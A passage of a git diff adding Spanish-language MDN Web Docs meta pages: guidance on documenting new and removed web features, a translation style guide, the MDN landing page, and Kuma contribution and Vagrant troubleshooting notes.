+<p>Se debe eliminar una página si se ajusta a la descripción anterior. Para eliminar una página, debes utilizar la función "Eliminar esta página" (<em>Avanzado&gt; Eliminar esta página</em>) para eliminar la página. Probablemente no tengas los permisos para usar esta función, y cuando pienses en eliminar páginas, primero debes discutirlo con la comunidad de MDN; habla con nosotros en nuestro <a href="https://discourse.mozilla.org/c/mdn">Foro de discusión</a>.</p>
+
+<h3 id="Cuando_documentar_nuevas_tecnologías">Cuando documentar nuevas tecnologías</h3>
+
+<p>En MDN, buscamos constantemente documentar nuevas tecnologías de estándares web según corresponda. Intentamos lograr un equilibrio entre publicar la documentación lo suficientemente temprano para que los desarrolladores puedan aprender sobre las nuevas funciones tan pronto como lo necesiten y publicarla lo suficientemente tarde para que la tecnología sea madura y estable para que los documentos no necesiten actualizaciones constantes o rápida eliminación.</p>
+
+<p>En general, nuestra definición de lo más temprano que consideraremos para documentar una nueva tecnología es:</p>
+
+<p><em>"Cuando la función está en una pista de estándares y se implementa en algún lugar."</em></p>
+
+<p>Definitivamente deberías considerar documentar una nueva tecnología si:</p>
+
+<ul>
+ <li>Se especifica en un documento de especificación publicado bajo una organización de estándares confiable (como W3C, WHATWG, Khronos, IETF, etc.), que ha alcanzado un nivel razonable de estabilidad (por ejemplo, un borrador de trabajo del W3C o una recomendación candidata, o la especificación está buscando ser bastante estable a juzgar por el flujo de asuntos presentados en su contra).</li>
+ <li>Se implementa de manera consistente en al menos un navegador, y otros desarrolladores de navegadores muestran signos de interés (como un boleto activo o un proceso de "intención de implementar" en vigor).</li>
+</ul>
+
+<p>Deberías tener más cuidado al documentar una nueva tecnología (pero deberías considerarla si tiene sentido) si:</p>
+
+<ul>
+ <li>No tiene una especificación, o la especificación es una nota aproximada que parece estar sujeta a cambios.</li>
+ <li>Uno o cero navegadores lo implementan actualmente, y los navegadores que no lo admiten no muestran signos de interés en implementarlo (puedes evaluar esto preguntando a los ingenieros que trabajan en esos navegadores, buscando rastreadores de errores del navegador y listas de correo, etc.).</li>
+</ul>
+
+<p>No debes considerar documentar una nueva tecnología si:</p>
+
+<ul>
+ <li>No es una tecnología expuesta a la web y/o es completamente propietaria.</li>
+ <li>Ya muestra signos de estar obsoleto o reemplazado por una característica similar.</li>
+</ul>
+
+<h2 id="Convenciones">Convenciones</h2>
+
+<h3 id="Cuando_se_elimina_algo_de_la_especificación">Cuando se elimina algo de la especificación</h3>
+
+<p>A veces, durante el desarrollo de una nueva especificación, o en el transcurso de la evolución de los estándares como HTML, se agregan nuevos elementos, métodos, propiedades, etc. a la especificación, permanecen allí por un tiempo y luego se eliminan nuevamente. A veces, esto sucede muy rápido y, a veces, estos nuevos elementos permanecen en la especificación durante meses o incluso años antes de ser eliminados. Esto puede hacer que sea complicado decidir cómo manejar la eliminación del artículo de la especificación. Aquí hay algunas pautas que te ayudarán a decidir qué hacer.</p>
+
+<div class="note">
+<p>Para los propósitos de esta discusión, la palabra "elemento" se usa para significar cualquier cosa que pueda ser parte de una especificación: un elemento o un atributo de un elemento, una interfaz o cualquier método individual, propiedad u otro miembro de una interfaz, etcétera.</p>
+</div>
+
+<ul>
+ <li>Si el elemento <em>nunca</em> se implementó en una versión de lanzamiento de <em>cualquier</em> navegador, incluso detrás de una preferencia o marca, simplemente elimina cualquier referencia al elemento de la documentación.
+
+  <ul>
+   <li>Si el elemento tiene páginas de documentación que describen solo ese elemento (como {{domxref("RTCPeerConnection.close()")}}), elimina esa página. Si el elemento eliminado es una interfaz, esto significa eliminar también las subpáginas que describen las propiedades y los métodos de esa interfaz.</li>
+   <li>Elimina el elemento de cualquier lista de propiedades, atributos, métodos, etc. Para los métodos de una interfaz, eso significa eliminarlo de la sección "Métodos" en la página de descripción general de la interfaz, por ejemplo.</li>
+   <li>Busca en el texto de la página de descripción general para esa interfaz, elemento, etc., cualquier referencia al elemento eliminado. Elimina esas referencias, asegurándote de no dejar extraños problemas gramaticales u otros problemas con el texto. Esto puede significar no solo borrar palabras, sino reescribir una oración o párrafo para que tenga más sentido. También puede significar eliminar secciones enteras de contenido si la descripción del uso del elemento es extensa.</li>
+   <li>Del mismo modo, busca cualquier discusión sobre el tema en las guías y tutoriales sobre la API o tecnología relevante. Elimina esas referencias, asegurándote de no dejar extraños problemas gramaticales u otros problemas con el texto. Esto puede significar no solo borrar palabras, sino reescribir una oración o párrafo para que tenga más sentido. También puede significar eliminar secciones enteras de contenido si la descripción del uso del elemento es extensa.</li>
+   <li>Busca en MDN referencias al elemento eliminado, en caso de que haya discusiones en otro lugar. Es poco probable que las haya, ya que si nunca se implementó, es poco probable que se discuta ampliamente. Elimina también esas menciones.</li>
+   <li>Si el <a href="https://github.com/mdn/browser-compat-data">repositorio de datos de compatibilidad del navegador</a> contienen datos de los elementos eliminados, elimina esos objetos del código JSON y envía una SE con ese cambio, explicando por qué en el mensaje de confirmación y la descripción de la SE. Ten cuidado de no romper la sintaxis JSON mientras haces esto.</li>
+  </ul>
+ </li>
+ <li>Si el elemento se implementó en cualquier versión de lanzamiento de uno o más navegadores, pero <em>solo</em> detrás de una preferencia o marca, no elimines el elemento de la documentación inmediatamente. En su lugar, marca el artículo como obsoleto de la siguiente manera:
+  <ul>
+   <li>Si el elemento tiene páginas de documentación que describen solo ese elemento (como {{domxref("RTCPeerConnection.close()")}}), agrega la macro {{TemplateLink("deprecated_header")}} en la parte superior de la página y agrega la etiqueta {{tag("Deprecated")}} a la lista de etiquetas de la página.</li>
+   <li>En la página de descripción general del elemento, la interfaz o la API, busca la lista de elementos que incluyan el elemento que se ha eliminado de la especificación y agrega la macro {{TemplateLink("deprecated_inline")}} después del nombre del elemento en esa lista.</li>
+   <li>Busca en el texto informativo de la página de descripción general de esa interfaz, elemento, etc., cualquier referencia al elemento eliminado. Agrega cuadros de advertencia en los lugares apropiados con texto del tipo "[lo que sea] se ha eliminado de la especificación y pronto se eliminará de los navegadores. Consulta [enlace a la página] para conocer una nueva forma de hacer esto."</li>
+   <li>Del mismo modo, busca cualquier discusión sobre el tema en las guías y tutoriales sobre la API o tecnología relevante. Agrega advertencias similares.</li>
+   <li>Busca en MDN referencias al elemento eliminado, en caso de que haya discusiones en otro lugar. Agrega también cuadros de advertencia similares allí.</li>
+   <li>En algún momento en el futuro, se puede tomar la decisión de eliminar el elemento de la documentación; Normalmente no hacemos esto, pero si el artículo no se utilizó o no fue interesante, podemos decidir hacerlo.</li>
+   <li>Actualiza cualquier entrada relevante en el <a href="https://github.com/mdn/browser-compat-data">repositorio de datos de compatibilidad del navegador</a> para reflejar la obsolescencia de los elementos afectados.</li>
+  </ul>
+ </li>
+ <li>Si el elemento se implementó en una o más versiones de publicaciones de navegadores, sin que sea necesario cambiar una preferencia o una marca, marca el elemento como obsoleto, de la siguiente manera:
+  <ul>
+   <li>Si el elemento tiene páginas de documentación que describen solo ese elemento (como {{domxref("RTCPeerConnection.close()")}}), agrega la macro {{TemplateLink("deprecated_header")}} en la parte superior de la página y agrega la etiqueta {{tag("Deprecated")}} a la lista de etiquetas de la página.</li>
+   <li>En la página de descripción general del elemento, la interfaz o la API, busca la lista de elementos que incluyan el elemento que se ha eliminado de la especificación y agrega la macro {{TemplateLink("deprecated_inline")}} después del nombre del elemento en esa lista.</li>
+   <li>Busca en el texto informativo de la página de descripción general de esa interfaz, elemento, etc., cualquier referencia al elemento eliminado. Agrega recuadros de advertencia en los lugares apropiados con texto del tipo "[lo que sea] se ha eliminado de la especificación y está obsoleto. Es posible que se elimine de los navegadores en el futuro, por lo que no debes usarlo. Consulta [enlace a la página] para conocer una nueva forma de hacer esto."</li>
+   <li>Del mismo modo, busca cualquier discusión sobre el tema en las guías y tutoriales sobre la API o tecnología relevante. Agrega advertencias similares.</li>
+   <li>Busca en MDN referencias al elemento eliminado, en caso de que haya discusiones en otro lugar. Agrega también cuadros de advertencia similares allí.</li>
+   <li>Es poco probable que estos elementos se eliminen de la documentación pronto, si es que alguna vez lo hacen. Sin embargo, es posible que parte o todo el material se mueva a la sección <a href="/es/docs/Archive">Archivo</a> del sitio.</li>
+   <li>Actualiza todas las entradas relevantes en el <a href="https://github.com/mdn/browser-compat-data">repositorio de datos de compatibilidad del navegador</a> para reflejar la obsolescencia de los elementos afectados.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Utiliza el sentido común con la redacción de los mensajes de advertencia y otros cambios en el texto sugeridos por las pautas anteriores. Los diferentes elementos requerirán una redacción y un manejo diferentes de la situación. En caso de duda, no dudes en pedir consejo en la <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">sala del chat de Docs Web de MDN</a> en <a href="https://wiki.mozilla.org/Matrix">Matrix</a>, o en el <a href="https://discourse.mozilla.org/c/mdn">foro de debate de Docs Web de MDN</a>.</p>
+
+<h3 id="Copiar_contenido_dentro_de_MDN">Copiar contenido dentro de MDN</h3>
+
+<p>A veces, necesitas reutilizar el mismo texto en varias páginas (o deseas usar el contenido de una página como plantilla para otra página). Tienes tres opciones:</p>
+
+<ul>
+ <li>Si deseas copiar una página completa:
+  <ol>
+   <li>Mientras visualizas la página que deseas copiar, en el menú <strong>Avanzado</strong> (engrane), elige <a href="/es/docs/MDN/Contribute/Creating_and_editing_pages#Clone_of_an_existing_page"><strong>Clona esta página</strong></a>. Esto abre la interfaz de usuario del editor para una nueva página, con el contenido de la página clonada ya poblada.</li>
+   <li>Introduce un <strong>título</strong> y un <strong><code>slug</code></strong> nuevo para la página clonada.</li>
+   <li>Edita el contenido de la página según sea necesario y guárdalo como usualmente lo haces.</li>
+  </ol>
+ </li>
+ <li>Si deseas copiar solo una parte de una página, <strong>no solo visites la página y la copies</strong>. Esto introduce bits adicionales de HTML no deseados en la página destino, y alguien tendrá que limpiar eso, tú u otro editor. Nadie quiere eso. Para copiar parte de una página MDN a otra página:
+  <ol>
+   <li>En la página fuente, haz clic en el botón <strong>Editar</strong> en la página de fuente.</li>
+   <li><strong>Copia el contenido que deseas reutilizar desde la interfaz de usuario del editor.</strong></li>
+   <li>Haz clic en <strong>Descartar</strong> para salir de la interfaz de usuario del editor de esa página.</li>
+   <li>Abre la interfaz de usuario del editor de la página donde deseas pegar.</li>
+   <li>Pega el contenido del portapapeles.</li>
+  </ol>
+
+  <div class="note"><strong>Usuarios de Chrome:</strong> Chrome generalmente no incluye las clases aplicadas al contenido al copiar y pegar documentos en nuestro editor. Debes revisar el contenido después de hacer esto y volver a aplicar los estilos perdidos. Checa las tablas, cuadros de sintaxis, resaltado de sintaxis y secciones ocultas de contenido en particular.</div>
+ </li>
+ <li>A veces, literalmente, deseas utilizar el mismo contenido en muchas páginas. En este caso, es mejor que coloques el contenido en una página y luego uses la macro {{TemplateLink("Page")}} para trasladar el material de una página a otra. De esta forma, siempre que se actualice el texto de la página fuente, la página de destino también se actualizará (es decir, esto sucederá en una actualización forzada o cuando la página destino pase por una reconstrucción programada).</li>
+</ul>
+
+<h4 id="Copiar_contenido_de_otro_lugar">Copiar contenido de otro lugar</h4>
+
+<p>A menudo, hay contenido útil sobre un tema en algún lugar de la web además de MDN. Sin embargo, copiar dicho contenido puede plantear dificultades, tanto legales como técnicas.</p>
+
+<p>En el nivel técnico, los motores de búsqueda suelen penalizar a un sitio en su clasificación por reproducir contenido disponible en otros lugares. Por lo tanto, es preferible tener contenido original en MDN, para mejorar la clasificación del contenido de MDN en los motores de búsqueda. Puedes vincular al contenido existente de MDN.</p>
+
+<p>A nivel legal, debes estar autorizado para contribuir con el contenido, y debes tener licencia y atribución de una manera que sea compatible con <a href="/es/docs/MDN/About#Copyrights_and_licenses">licencia de MDN</a>.</p>
+
+<ul>
+ <li><strong>Si creaste el contenido existente</strong> (para tus propios fines y no como trabajo por encargo) y estás dispuesto a contribuir a MDN con la licencia de MDN, este es el caso más fácil y estás libre de contribuir con el contenido.</li>
+ <li><strong>Si los derechos de autor del contenido pertenecen a otra persona</strong>, debes tener licencia y atribuir de manera compatible con la licencia de MDN. A menudo, no es fácil para alguien que no es abogado determinar qué licencias son compatibles. Para estar seguro, comunícate con un miembro del <a href="https://wiki.mozilla.org/MDN#Staff_Team">equipo de personal de MDN</a>, quien puede consultar al equipo legal de Mozilla para obtener orientación si es necesario .</li>
+</ul>
+
+<h4 id="Cómo_comunicar_un_conflicto_de_especificaciones">Cómo comunicar un conflicto de especificaciones</h4>
+
+<p>Ten en cuenta que a veces (pero rara vez) hay un conflicto entre diferentes versiones de especificaciones (generalmente W3C versus WHATWG), p. ej. una versión puede tener una característica listada como obsoleta, mientras que la otra no. En tales casos, considera cuál es la realidad, es decir, qué están haciendo los navegadores, y escribe una nota "importante" para resumir ese último estado. Por ejemplo, a enero de 2019, el atributo global <a href="/es/docs/Web/HTML/Global_attributes/inputmode"><code>inputmode</code></a> tiene un conflicto, que se resumió al igual que:</p>
+
+<div class="blockIndicator warning">
+<p><strong>Conflicto de especificaciones</strong>: La <a href="https://html.spec.whatwg.org/multipage/interaction.html#attr-inputmode">lista de especificaciones de WHATWG <code>inputmode</code></a>, y los navegadores modernos están trabajando para admitirlo. Sin embargo, la <a href="https://www.w3.org/TR/html52/index.html#contents">especificación W3C HTML 5.2</a> ya no la incluye (es decir, la marca como desaprobada). Debes considerar que la definición del WHATWG es correcta, hasta que se logre un consenso.</p>
+</div>
diff --git a/files/es/mdn/guidelines/index.html b/files/es/mdn/guidelines/index.html
new file mode 100644
index 0000000000..8105665f2f
--- /dev/null
+++ b/files/es/mdn/guidelines/index.html
@@ -0,0 +1,10 @@
+---
+title: Guías de contenido y estilo de MDN
+slug: MDN/Guidelines
+tags:
+  - Estilo
+  - Guías
+translation_of: MDN/Guidelines
+---
+<div>{{MDNSidebar}}</div><p><span class="seoSummary">Estas guías proveen detalles de cómo debería estar escrita y qué formato debería tener la documentación MDN, así como también cómo deberían ser presentados nuestros códigos de ejemplo y otro contenido.</span> Siguiendo estas guías, puedes asegurarte de que el material que produces es limpio y fácil de usar.</p>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/es/mdn/guidelines/project_colon_guía_de_estilo/index.html b/files/es/mdn/guidelines/project_colon_guía_de_estilo/index.html
new file mode 100644
index 0000000000..40bffd16ca
--- /dev/null
+++ b/files/es/mdn/guidelines/project_colon_guía_de_estilo/index.html
@@ -0,0 +1,146 @@
+---
+title: Guía de estilo
+slug: 'MDN/Guidelines/Project:Guía_de_estilo'
+tags:
+  - Proyecto_MDC
+  - Todas_las_Categorías
+translation_of: MDN/Guidelines/Writing_style_guide
+---
+<div>{{MDNSidebar}}</div>
+
+<p><span class="seoSummary">Para mostrar la documentación de forma organizada, estandarizada y fácil de leer, la guía de estilos de MDN describe cómo debe organizarse, escribirse y formatearse el texto. Se trata de pautas más que de reglas estrictas.</span> Interesa más el contenido que el formato, así que no te sientas obligado a aprenderte la guía de estilos antes de colaborar. No te enojes ni te sorprendas si después un voluntario edita tu trabajo para que quede de acuerdo con esta guía.</p>
+
+<p>Los aspectos lingüísticos de esta guía se refieren principalmente a la documentación en idioma inglés.Se pueden (y se anima a) crear guías de estilo en otros idiomas. Estas deben publicarse como subpáginas de la página del equipo de localización.</p>
+
+<p>Si buscas especificaciones de cómo debe estructurarse un determinado tipo de página, mira la <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Content/Layout" style="line-height: 1.5;">guía de diseño de MDN</a>.</p>
+
+<p>Aquí se enumeran los usos y costumbres recomendados a la hora de editar los artículos de este wiki. Si ves que falta contenido o crees que deberíamos mejorar o corregir algo, por favor coméntalo en la página de discusión.</p>
+
+<h2 id="Uso_de_may.C3.BAsculas_en_el_nombre_de_las_p.C3.A1ginas_y_los_encabezados" name="Uso_de_may.C3.BAsculas_en_el_nombre_de_las_p.C3.A1ginas_y_los_encabezados">Uso de mayúsculas en el nombre de las páginas y los encabezados</h2>
+
+<ul>
+ <li>Cuando escribas los nombres de las páginas y de los encabezados, recuerda que sólo debe empezar con mayúscula la primera palabra de la frase.
+  <ul>
+   <li><font color="green"><strong>Correcto</strong></font>: "Guía de estilo"</li>
+   <li><font color="red"><strong>Incorrecto</strong></font>: "Guía de Estilo"</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Infinitivos_y_gerundios" name="Infinitivos_y_gerundios">Infinitivos y gerundios</h2>
+
+<ul>
+ <li>En inglés, una práctica muy habitual es la de utilizar verbos acabados en "-ing" en los títulos: "Configuring Firefox", por ejemplo. En estos casos la traducción correcta al español consiste en utilizar el infinitivo del verbo y no el gerundio.
+  <ul>
+   <li><font color="green"><strong>Correcto</strong></font>: Configurar Firefox</li>
+   <li><font color="red"><strong>Incorrecto</strong></font>: Configurando Firefox</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Siglas_y_abreviaturas" name="Siglas_y_abreviaturas">Siglas y abreviaturas</h2>
+
+<h3 id="Capitalizaci.C3.B3n_y_espaciado" name="Capitalizaci.C3.B3n_y_espaciado">Mayúsculas y espacios</h3>
+
+<ul>
+ <li>Escribe las siglas en mayúsculas y sin puntos.
+  <ul>
+   <li><font color="green"><strong>Correcto</strong></font>: XUL</li>
+   <li><font color="red"><strong>Incorrecto</strong></font>: X.U.L.; Xul</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Expansi.C3.B3n" name="Expansi.C3.B3n">Expansión</h3>
+
+<ul>
+ <li>Siempre que sea posible, cuando uses siglas deberás expandirlas, es decir, explicar su significado. Recuerda que esto es necesario sólo la primera vez que dicha sigla aparezca en tu artículo.
+  <ul>
+   <li><font color="green"><strong>Correcto</strong></font>: "SVG (Gráficos vectoriales escalables) es un lenguaje de marcado XML..."</li>
+   <li><font color="red"><strong>Incorrecto</strong></font>: "SVG es un lenguaje de marcado XML..."</li>
+  </ul>
+ </li>
+</ul>
+
+<ul>
+ <li>También existe la opción de usar el elemento abbr:
+  <ul>
+   <li>El siguiente código: <span class="nowiki">&lt;abbr title='Gráficos vectoriales escalables'&gt;SVG&lt;/abbr&gt;</span></li>
+   <li>Se muestra de la siguiente forma: <abbr title="Gráficos vectoriales escalables">SVG</abbr></li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Plurales" name="Plurales">Plurales</h3>
+
+<ul>
+ <li>Para indicar el plural de una sigla usas "s".
+  <ul>
+   <li><font color="green"><strong>Correcto</strong></font>: CD-ROMs</li>
+   <li><font color="red"><strong>Incorrecto</strong></font>: CD-ROM's</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="N.C3.BAmeros" name="N.C3.BAmeros">Números</h2>
+
+<h3 id="Fechas" name="Fechas">Fechas</h3>
+
+<ul>
+ <li>Para las fechas usa el formato: día mes año.
+  <ul>
+   <li><font color="green"><strong>Correcto</strong></font>: 1 de enero de 2006</li>
+   <li><font color="red"><strong>Incorrecto</strong></font>: 01/02/06</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Cantidades" name="Cantidades">Cantidades</h3>
+
+<ul>
+ <li>Usa coma para separar los decimales y punto para indicar miles:
+  <ul>
+   <li><font color="green"><strong>Correcto</strong></font>: 1,5 GB son 1.536 MB</li>
+   <li><font color="red"><strong>Incorrecto</strong></font>: 1.5 GB son 1536 MB</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Esta regla tiene una excepción: en un documento que trate del lenguaje 'X', las cantidades deben expresarse del modo definido por ese lenguaje.</p>
+
+<h2 id="Usted.2C_t.C3.BA.2C_y_yo" name="Usted.2C_t.C3.BA.2C_y_yo">Usted, tú y yo</h2>
+
+<h3 id="El_tuteo" name="El_tuteo">El tuteo</h3>
+
+<p>Este es un problema complejo, puede que no exista la solución perfecta a gusto de todos. Pero sería interesante ponernos de acuerdo.</p>
+
+<p>Por lo pronto, hemos decidido usar el tú y evitar regionalismos en nuestras traducciones. Te invitamos a comentar tus opiniones en nuestra lista de correo. </p>
+
+<h3 id="La_1ª_persona">La 1ª persona</h3>
+
+<p>Salvo rarísimas excepciones, nunca debe usarse.</p>
+
+<ul>
+ <li><font color="green"><strong>Correcto</strong></font>: es recomendable...</li>
+ <li><font color="red"><strong>Incorrecto</strong></font>: te recomiendo...</li>
+</ul>
+
+<h2 id="Otras_guías_de_estilo_recomendadas">Otras guías de estilo recomendadas</h2>
+
+<p>Si tienes dudas sobre usos y estilos que no sean tratados en este documento, te recomendamos consultar:</p>
+
+<ul>
+ <li><a class="external" href="http://usuario.cicese.mx/~mechevar/manual/">Manual de estilo del CICESE</a> Sobre como escribir documentación técnica.</li>
+ <li><a class="external" href="http://es.wikipedia.org/wiki/Manual_de_estilo">Manual de estilo de Wikipedia</a> Sobre como escribir en un wiki.</li>
+</ul>
+
+<p>Los traductores también deberían consultar <a href="/Project:en/Writer%27s_guide">Writer's guide</a> para conocer el estilo usado en la edición inglesa.</p>
+
+<h2 id="Diccionarios_recomendados" name="Diccionarios_recomendados">Diccionarios recomendados</h2>
+
+<p>Si tienes dudas sobre gramática y ortografía, puedes visitar:</p>
+
+<ul>
+ <li><a class="external" href="http://www.rae.es/rae.html"><abbr title="Real Academia Española">Diccionario de la Real Academia Española</abbr></a></li>
+ <li><a class="external" href="http://www.rae.es/rae.html" title="http://www.rae.es/rae.html">Diccionario Panhispánico de Dudas</a></li>
+</ul>
diff --git a/files/es/mdn/index.html b/files/es/mdn/index.html
new file mode 100644
index 0000000000..c4c038e69c
--- /dev/null
+++ b/files/es/mdn/index.html
@@ -0,0 +1,37 @@
+---
+title: El proyecto MDN
+slug: MDN
+tags:
+  - Comunidad
+  - Landing
+  - MDN Meta
+translation_of: MDN
+---
+<div>{{MDNSidebar}}</div>
+
+<p>El proyecto de documentación de la web de MDN (MDN web docs) es un wiki en el que se documenta la web abierta (estándares web), las tecnologías de Mozilla y otros temas de desarrollo. Todos tienen permiso de añadir y editar contenido. No necesitas ser un programador o saber mucho de tecnología; hay muchas actividades que necesitan llevarse a cabo, tanto simples (por ejemplo: Corregir ortografía, puntuación, etc.) como complejas (documentar las API).</p>
+
+<div class="summary">
+<p>La misión de MDN web docs es darle a los <em>desarrolladores</em> la <em>información</em> que necesitan para realizar proyectos en la <em>plataforma web fácilmente</em>. ¡Te invitamos a ayudar!</p>
+</div>
+
+<p>¡Necesitamos de tu ayuda! Es fácil, no te preocupes por pedir permiso o por cometer errores. Además, visita y conoce a la <a href="/es/docs/MDN/Comunidad" title="/es/docs/MDN/Comunidad">comunidad MDN</a>; ¡estamos aquí para ayudarte! Los artículos indicados a continuación te ayudarán a empezar.</p>
+
+<ul class="card-grid">
+ <li><span><a href="/es/docs/MDN/Comenzando">Soy nuevo aquí</a></span>
+
+  <p>¿Eres nuevo en MDN y quieres saber cómo mejorar MDN? ¡Empieza aquí!</p>
+ </li>
+ <li><span><a href="/es/docs/MDN/Contribute">Soy un usuario avanzado</a></span>
+  <p>Visita nuestra guía completa para los colaboradores de la MDN si ya conoces lo básico</p>
+ </li>
+ <li><span><a href="/es/docs/MDN/Promociona">¡Compártelo!</a></span>
+  <p>Si te gusta MDN, ¡ayúdanos compartiéndolo! Aquí encontrarás herramientas, guías e imágenes para promocionar a la MDN.</p>
+ </li>
+</ul>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/es/docs/MDN/Comunidad">Únete a la comunidad de MDN web docs</a></li>
+</ul>
diff --git a/files/es/mdn/kuma/contributing/getting_started/index.html b/files/es/mdn/kuma/contributing/getting_started/index.html
new file mode 100644
index 0000000000..44bedc5bdb
--- /dev/null
+++ b/files/es/mdn/kuma/contributing/getting_started/index.html
@@ -0,0 +1,15 @@
+---
+title: Primeros pasos
+slug: MDN/Kuma/Contributing/Getting_started
+translation_of: MDN/Kuma
+---
+<div>{{MDNSidebar}}</div><p>Por favor, consulte los <a href="https://github.com/mozilla/kuma/blob/master/docs/installation-vagrant.rst" title="https://github.com/mozilla/kuma/blob/master/docs/installation-vagrant.rst">Documentos de Instalacion de Kuma en GitHub</a> hasta que podamos redactar una mejor guía de "Primeros pasos".</p>
+<h2 id="Solución_de_problemas">Solución de problemas</h2>
+<p>A veces las cosas se ponen mal y la configuración de la prueba Kuma en el equipo deja de funcionar correctamente. Aquí ofrecemos algunas sugerencias sobre qué hacer para tratar de conseguir que funcione de nuevo.</p>
+<h3 id="Reprovision">Reprovision</h3>
+<p>La primera cosa a intentar es destruir y reconstruir su máquina virtual Kuma. Abra una terminal, pasar a la <code>kuma</code> directorio del proyecto y ejecute el siguiente comando:</p>
+<pre>vagrant destroy &amp;&amp; vagrant provision</pre>
+<p>Si desea mantener la base de datos que ya tiene, asegúrese de hacer una copia de seguridad y restaurar después de reaprovisionamiento.</p>
+<h3 id="Vuelva_a_descargar_la_imagen_de_la_VM">Vuelva a descargar la imagen de la VM</h3>
+<p>Si le preocupa que la imagen de VM es mala o no está actualizada, puede forzar el vagrant para descargar una nueva mediante el comando siguiente::</p>
+<pre>vagrant box remove kuma-ubuntu</pre>
diff --git a/files/es/mdn/kuma/contributing/index.html b/files/es/mdn/kuma/contributing/index.html
new file mode 100644
index 0000000000..c920b5b5ab
--- /dev/null
+++ b/files/es/mdn/kuma/contributing/index.html
@@ -0,0 +1,49 @@
+---
+title: Contribuir a Kuma
+slug: MDN/Kuma/Contributing
+translation_of: MDN/Kuma
+---
+<div>{{MDNSidebar}}</div><p>Si desea contribuir al proyecto de Kuma para ayudarnos a construir una gran plataforma wiki y para hacer que el sitio de Mozilla Developer Network aun mejor, los documentos aquí deberían ayudarle a unirse en el esfuerzo.</p>
+<div class="row topicpage-table">
+ <div class="section">
+  <h2 class="Documentation" id="Documentation" name="Documentation">Contribuir a Kuma</h2>
+  <dl>
+   <dt>
+    <a href="/en-US/docs/Project:MDN/Kuma/Contributing/Getting_started" title="/en-US/docs/Project:About">Cómo empezar con Kuma</a></dt>
+   <dd>
+    Cómo bifurcar Kuma desde Github y configurar el entorno de desarrollo.</dd>
+   <dt>
+    <a href="/en-US/docs/Project:MDN/Kuma/Contributing/Help_wanted" title="/en-US/docs/Project:MDN/Kuma/Contributing/Help_wanted">Se busca ayuda</a></dt>
+   <dd>
+    Tenemos un montón de fallos registrados en Kuma. Este artículo se enumeran algunos, nos encantaría ver colaboradores que ayudan con.</dd>
+  </dl>
+  <h2 class="Tools" id="Tools" name="Tools">Herramientas y tareas</h2>
+  <dl>
+   <dt>
+    <a href="https://bugzilla.mozilla.org/buglist.cgi?cmdtype=dorem&amp;remaction=run&amp;namedcmd=mdn-backlog&amp;sharer_id=416309&amp;list_id=6206936" title="https://bugzilla.mozilla.org/buglist.cgi?cmdtype=dorem&amp;remaction=run&amp;namedcmd=mdn-backlog&amp;sharer_id=416309&amp;list_id=6206936">Errores</a></dt>
+   <dd>
+    Una lista de errores Kuma; siéntase libre de mirar a través de ellos y encontrar algo que te gustaría para arreglar. Este enlace le exige que inicie sesión en Bugzilla.</dd>
+   <dt>
+    <a href="https://bugzilla.mozilla.org/form.mdn" title="https://bugzilla.mozilla.org/enter_bug.cgi?product=Mozilla%20Developer%20Network">Notificar un error</a></dt>
+   <dd>
+    Si usted ha tenido un problema con Kuma, o tiene alguna idea para una manera de hacerlo mejor; usted puede presentar un error</dd>
+   <dt>
+    <a href="/en-US/docs/Project:MDN/Kuma/Changelog" title="/en-US/docs/Project:MDN/Kuma/Changelog">Cambio de registro</a></dt>
+   <dd>
+    Una lista de reciente de modificaciones impulsadas; este es un gran lugar para buscar, para ver lo que ha pasado recientemente.</dd>
+  </dl>
+  <p> </p>
+ </div>
+ <div class="section">
+  <h2 class="Community" id="Community" name="Community">MDN comunidad de desarrolladores</h2>
+  <p><span style="display: none;"> </span>Si desea hablar con nuestros desarrolladores, o incluso mejor, para ayudar a construir y mejorar la plataforma de Kuma, !únase a nuestra comunidad de desarrolladores!</p>
+  <ul>
+   <li>Únase a la conversación en el IRC: <a href="irc://irc.mozilla.org/mdndev" title="irc://irc.mozilla.org/mdndev">#mdndev</a></li>
+   <li>Lea el foro de desarrolladores MDN: {{DiscussionList("dev-mdn", "mozilla.dev.mdn")}}</li>
+  </ul>
+  <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p>
+ </div>
+</div>
+<p><span class="alllinks"><a href="/en-US/docs/tag/MDC_Project" title="MDN project pages">Ver todos ...</a></span></p>
+<div id="cke_pastebin" style="position: absolute; top: 672px; width: 1px; height: 1px; overflow: hidden; left: -1000px;">
+  </div>
diff --git a/files/es/mdn/kuma/index.html b/files/es/mdn/kuma/index.html
new file mode 100644
index 0000000000..b7b0de4fd9
--- /dev/null
+++ b/files/es/mdn/kuma/index.html
@@ -0,0 +1,55 @@
+---
+title: Kuma
+slug: MDN/Kuma
+translation_of: MDN/Kuma
+---
+<div>{{MDNSidebar}}</div>
+
+<p>Kuma es la plataforma wiki que impulsa Mozilla Developer Network. Es una plataforma open source escrita en <a href="http://www.python.org/" title="http://www.python.org/">Python</a> usando el framework <a href="https://www.djangoproject.com/" title="https://www.djangoproject.com/">Django</a>.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Documentación de Kuma</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Project:MDN/Kuma/API" title="/en-US/docs/Project:About">The Kuma API</a></dt>
+ <dd>Kuma provee una API simple que te permite acceder a la información sobre las páginas e incluso para poner nuevo contenido en las páginas.</dd>
+ <dt><a href="/en-US/docs/Project:Introduction_to_KumaScript" title="/en-US/docs/Project:Introduction_to_KumaScript">Introducción a KumaScript</a>:</dt>
+ <dd>...el lenguaje de plantillas de Kuma.</dd>
+ <dt><a href="/en-US/docs/Project:MDN/Kuma/KumaScript_guide" title="/en-US/docs/Project:MDN/Kuma/KumaScript_guide">Usando KumaScript y las plantillas</a></dt>
